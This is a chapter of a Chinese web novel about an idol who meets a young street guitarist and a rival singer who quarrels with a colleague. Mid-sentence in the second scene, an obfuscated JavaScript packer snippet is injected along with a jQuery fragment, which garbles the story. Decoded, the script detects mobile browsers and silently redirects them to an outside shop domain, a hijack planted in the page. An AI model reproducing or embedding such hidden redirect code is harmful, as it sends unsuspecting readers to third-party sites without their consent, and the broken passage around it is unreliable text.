地道口人来人往,一位年轻男生抱着吉他席地而坐,屁股下只垫了张报纸。他穿得很朴素,黑连帽衫配牛仔裤,脑袋被罩在兜帽里,看不清样子和神情。
行人匆匆,每个人都只顾着自己的事情,没人愿意为这支曲子停下脚步,偶有一人也只是微微侧眸。
男生却丝毫不在意有没有人为音乐买账,下指如飞,专注旋律中,
郁鸣穿过人群,靠近男生,倚在栏杆上静静听。曲子是首好曲子,风格太过颓丧,在大街上弹奏这样的音乐,吃力不讨好。
VERTEX的曲风其实一直在怪诞里徘徊,但为了街头表演的效果,在词曲方面会中和协调,重金属摇滚的加持下,就会变成新潮。
郁鸣听完一曲,走到男生旁边,屈膝蹲下。近距离下,男生的五官变得清晰,与想象中的成熟截然不同,很阳光健气的长相,看起来不过刚成年的年纪。
他直言夸赞:“好曲子。”
男生抬起头,沉静的黑瞳忽然缩小,闪过许多外露的情绪。他捏着吉他上前一步,很没礼貌地凑到咫尺,盯了好半天才不确定道:“郁鸣?”
郁鸣一愣,下意识摸了摸脸,是戴了墨镜和口罩的。
此地无银三百两的举措,让男生确定了自己的猜测。他随手扔掉吉他,一把握住郁鸣的手:“郁鸣!是你!一定是你,肯定是你!我不会认错的!”
郁鸣:“……”
他看着被握住的手,一时之间有些无措,看多了阴谋与算计,对于真诚与热烈,竟然不知道该如何应对才好。
他抽了抽手,犹疑道:“你……”
经过提醒,男生宛如触电般松开手,手指挠着下颌,激动中带着紧张:“我、我太激动了。”
郁鸣干脆摘下眼镜,露出那双标志性的蓝眸:“很好的曲子,你很有天赋。”
男生局促地挺起背:“你是在称赞我吗?”
“为什么不是?”
“从来没人称赞过我。”男生话音停顿半晌,“更没想过你会称赞我。”
郁鸣对于这番回答有些意外,眼前男生绷着嘴角,手足紧绷,窘迫一览无余。他设想了很多场景,独独没有这个,太过意料之外。
他问:“我不能吗?”
“不是。”男生很快否决,扯了扯兜帽,将脸遮盖得更严实,“当然能,只是我从来没想过会见到你。”
男生不掩喜爱,直白又真诚,于他目前来说,无论从什么方面都是件好事,还能省去很多麻烦。
郁鸣沉默半晌,扫过那张笼在兜帽下,羞涩稚嫩的脸,还是开了口:“现在见到了,你叫什么名字?”
男生几乎毫不犹豫,扭过头脱口:“周杰森。”
周杰森,杰森,Jason。
郁鸣哑然,想过巧合,没想过能这么巧合,简直是阴差阳错。
他盯着周杰森年轻活力的侧颜,很感念落魄之境,回看还能遇见真心喜欢自己的人,可惜遇见得有些晚了。
他单手托着下巴,弯了弯眼睛:“好名字,好曲子,杰森,你是个天才。”
周杰森满身无措,抱起吉他缓解紧张,半晌憋出一句话:“我不是,没有一技之长,吉他也不是。”
“但你的吉他弹得很好。”郁鸣摘下口罩,露出淡淡的笑意,“还是你觉得我的话,是奉承你?”
周杰森第一次这样近距离地看到郁鸣,看呆了眼,双手无意识松开,吉他从膝盖上滚了下去。
他反应过来,面颊一热,慌忙捞回吉他,手指拨了拨弦:“你还想听吗?我想再给你弹一首……”
“好。”
郁鸣怕被行人和狗仔注意到,重新戴回了口罩和墨镜。
周杰森意识到了郁鸣的身份并不适合出现在大庭广众之下,他忽然松开手指,犹疑着开口:“我有一间练习室,哪里没人,你……算了算了。”
郁鸣失笑:“我什么?怎么就算了。”
“不是,我突然想到你跟我又不熟,这样邀请你太冒失了,你是公众人物,贸然跟我走,好像也不妥当。”周杰森挠了挠头,“我说话没过脑子,要不你跟我去对面?那边有个没什么人的地方,靠着河……好像也不好,算了,我就在这弹吧。”
郁鸣哭笑不得。谨慎起见,他确实不打算跟周杰森独处,人和事是分开的,在完全不熟悉的情况下贸然独处,难以掌控也无法预料。
周杰森尴尬地活动了一下手指,闭着眼睛深吸一口气,再睁眼完全换了副面孔,忧郁低迷,手指随之拨动。
郁鸣当着沉默的听众,静静地听周杰森弹了一首,两首,三首……极具状态的无数首,直到夜色暗沉,街道人烟稀少,音乐声才渐停。
周杰森舒了一口气,发觉天色不早,仓皇起身:“我入迷了,不好意思,是不是太耽误你了……”
眼前的大男生站起来比自己略高些许,朴素简单的兜帽卫衣不掩壮实,很符合长相的身形。
郁鸣跟着站起身:“听觉盛宴,今晚我赚了。不早了,回去吧。”
周杰森一愣,莫名有些不舍,这样的机会太难得也太少见了,摸着吉他没吭声。
“最近我说不定会再到附近来,如果遇见你的话,我还会来听一曲。”郁鸣走出半步,侧身说,“那么,期待下次的偶遇。”
“再见,杰森。”
挥别对方,郁鸣沿港直行,享受着夜风扑面。
找到周杰森是计划之中,这样的情景却是意外收获。
郁鸣停下脚步,望着天边的月牙,眯起一只眼,举起右手五指弯曲,拢成一个深邃的圆形,抵在眼前。
他看着镜像里的弯月,手指一点点收拢,原本的残月随着视觉范围缩小,变成了巨大的满月。
所谓阴晴圆缺,不过事在人为。
他收回视线,缓步离开了这片灯火璀璨的港湾。
*
张佳霖笑得花枝招展,扶着人朝外走,谄媚又娇媚:“许哥,您慢点,瞧您今晚喝的。”
“哈哈哈,哥哥今晚高兴。”许总喝得面染绯红,酒气熏天,胡乱指天画地,“佳霖啊,你放心,这都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174399|149383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小事,这声许哥……嗝,不让你白叫。”
“那当然了,我肯定信许哥的。”
张佳霖搀扶着许总一路跌跌撞撞,喝醉的人异常沉重,他咬牙把人扶到轿车前,吃力地拉开门,迅速把人推进车内,忙不迭说结束词:“许哥,那您慢走,我们回头联系。”
“好好好。”
应付完许总,张佳霖重重舒了一口气,甩着发酸的胳膊,靠在一旁的树上掏出手机,中午林枫打电话的时候正着急出门,听了个大概没空细想。
他揉了揉额头,回忆着那番话,心情急转直下。
何为礼好端端地跑郁鸣家里去干什么,他们俩什么时候关系那么好了?
宴会下药的事情在前,郁鸣怎么可能会给何为礼好脸色……
难不成尝个甜头欲罢不能,跑去献殷勤了?
张佳霖脸色突然变得复杂,因为以何为礼的性格,这种事情实在太有可能发生了,尤其是在一直觊觎的前提之下。
他想到这里,胃里忽然翻涌,一阵恶心,捏着手机的手无意识紧攥。
他真是太高看何为礼了,何止蠢,根本就是个摇尾巴的狗,尝到点甜头,就迫不及待跟在别人身后。
酒气顺着喉咙向上爬,张佳霖迅速蹲下,冲着树坑吐了一地,他头晕目眩,半撑着树。
谁都可以背叛自己,何为礼凭什么?
张佳霖深吸了一口气,好在这段时间的努力没白费,许总已经承诺会给他出单人唱片。
他讥笑一声,一个两个都是见了美色就走不动道的,下贱的败类,关键时刻全都靠不住,竟还不如他自己。
等了几分钟,助理开车抵达,张佳霖坐上车就昏昏沉沉地睡了过去,再睁眼就已经是第二天了。
宿醉一宿,头疼欲裂。
张佳霖撑着疲累的身体去公司,刚进电梯就跟何为礼撞了个正着。他看到那张脸,不爽感到达了顶峰,开口讥讽:“稀奇,这么早,今天不用跟别人身后摇尾巴了?”
自从宴会一事,两人吵了一架之后,这段时间就基本没消停,见面总归得扎对方几句才舒服,张佳霖更是天天夹枪带棒。
何为礼昨天没睡好,原是不想触霉头,没想到张佳霖倒是先开口找茬了。他拧着眉头,语气不痛快:“我又惹你了?大早上你冲我发什么邪火?”
“说点实话,瞧你敏感的。”张佳霖皮笑肉不笑,“还是戳你心里去了,真说准了啊?又去给谁当狗了?”
“一次两次就得了,怎么骂人的话来来回回就这么些呢?”何为礼油盐不进,“我都听腻了,佳霖,你能不能骂点新鲜的?”
“我也想新鲜。”张佳霖斜了何为礼一眼,讽笑,“前提是你也得干点让别人能骂出新鲜词的话啊,是不是?”
电梯正好抵达,何为礼简直受够了张佳霖无端端的夹枪带棒,翻白眼:“他妈的脑子有病,精神病。”
张佳霖收起笑脸,感觉自己确实挺神经病的。
但一想到连何为礼跑去跟郁鸣屁股后面,就没办法不发神经。